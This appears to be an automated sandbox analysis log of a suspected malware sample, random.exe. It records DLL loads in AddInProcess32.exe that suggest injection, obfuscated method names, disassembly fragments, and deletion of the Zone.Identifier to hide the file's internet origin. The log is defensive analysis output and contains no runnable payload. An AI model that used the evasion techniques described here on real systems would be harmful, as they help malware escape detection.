Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\random.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: random.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: random.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026DA001 push ss; ret	0_2_026DA004
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026D569F push esp; ret	0_2_026D56A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026D9C34 push ds; iretd	0_2_026D9C38
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026D55B9 push ss; retf	0_2_026D55C8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026D85B7 push 06BAEEA2h; ret	0_2_026D85BC
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FC9D70 push eax; ret	0_2_05FC9D71
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FC9E70 pushfd ; ret	0_2_05FC9E71
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FDCA64 pushad ; retf	0_2_05FDCA65
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060923E5 push es; iretd	0_2_060923F8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B34590 push eax; mov dword ptr [esp], ecx	0_2_07B346E1
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B346FC push eax; mov dword ptr [esp], ecx	0_2_07B346E1
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B3465E push eax; mov dword ptr [esp], ecx	0_2_07B346E1
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0806F045 push eax; iretd	0_2_0806F04A
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0BAA131B push ebp; iretd	0_2_0BAA1328
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0BAA68AB push ecx; iretd	0_2_0BAA68AC
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0BAA94B6 push edi; ret	0_2_0BAA94BD
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0C3392A3 push eax; iretd	0_2_0C3392A4
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0C338B32 pushad ; iretd	0_2_0C338B3D
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0C33C926 push es; retf	0_2_0C33C927
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0C327F05 push ebp; ret	0_2_0C327F06
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0C338F40 push edx; retf	0_2_0C338F4B
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0C33934B pushad ; iretd	0_2_0C33934C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0C377B71 push cs; iretd	0_2_0C377B72
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0C482684 push ss; retf	0_2_0C482687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_02FD9C34 push ds; iretd	3_2_02FD9C38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_02FDA001 push ss; ret	3_2_02FDA004
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_02FD85B7 push 06BAEEA2h; ret	3_2_02FD85BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_065C4E11 push es; iretd	3_2_065C4EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_065CF045 push eax; iretd	3_2_065CF04A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_065C001D push eax; ret	3_2_065C0039
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_081873FD push esp; retf	3_2_081873FF

Source: random.exe, CYNfqAIpe.cs	High entropy of concatenated method names: 'NJeKg', 'mw6Mu4ZhO3B', 'KIq1tf', 'ivg3HjPXie', 'Ri85Vo', 'kz1yAwb', 'UR2ozN', 'n9USeV9z', 'VVLUsZb', 'XqUJdcNekhEi'
Source: random.exe, WcBXxxm.cs	High entropy of concatenated method names: 'JjMOf', '_8u73fBmfgw', 'MSF9T', 'hDIrk0qf14', 'MpKJL', 'kcBLZxo68U4', 'SZsNcC', 'NuufEFFhJt7m', 'PYE4pShmqqZ', 'Wyl8R2o'
Source: random.exe, kBTcHV.cs	High entropy of concatenated method names: 'UpdateMarketPrice', 'ToString', '_Lambda_0024__0', '_1Agp7Zs', '_40aJLoqx', 'BW2LYtt8uxXol', 'aJRNcxxHi', 'yVc2b', '_7I44pNnn', 'diL8QWuxpI'
Source: random.exe, AI4n1kiLB823d.cs	High entropy of concatenated method names: 'upViamDDVqND', 'SBgw0xpK', 'qo8ynBtkpC7J', 'xYOCOKAt3hm8Q', 'Va0RNWmA', 'tX1T21qawtEd', '_3KRVf6uK', 'AxIXs0xk09UBo', 'YJ4bslkqP', '_6jLfTurA'
Source: random.exe, JkeKq0.cs	High entropy of concatenated method names: '_Lambda_0024__0', '_Lambda_0024__0', 'VxzEpU0', 'vPzuobPSOF5R', 'qjBWPe4u', 'Y7sY4j8', 'yosP3AMI', 'tSvguD1k', '_2FmiHI5U', 'zsckVM8ulqiUD'
Source: random.exe, OnA7pJMuP66l.cs	High entropy of concatenated method names: 'BuLY8C1cwJ', 'DZUMTOChd', 'E4EiM2Y3DA', 'N9vbZ', 'HCyCqpVSKrI', 'OcfGRy', 'jYiZiTWiGD', 'OKkhJdP', 't8Tnor1iq0Iz', 'YTWGPLU'

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\Desktop\random.exe\:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe\:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
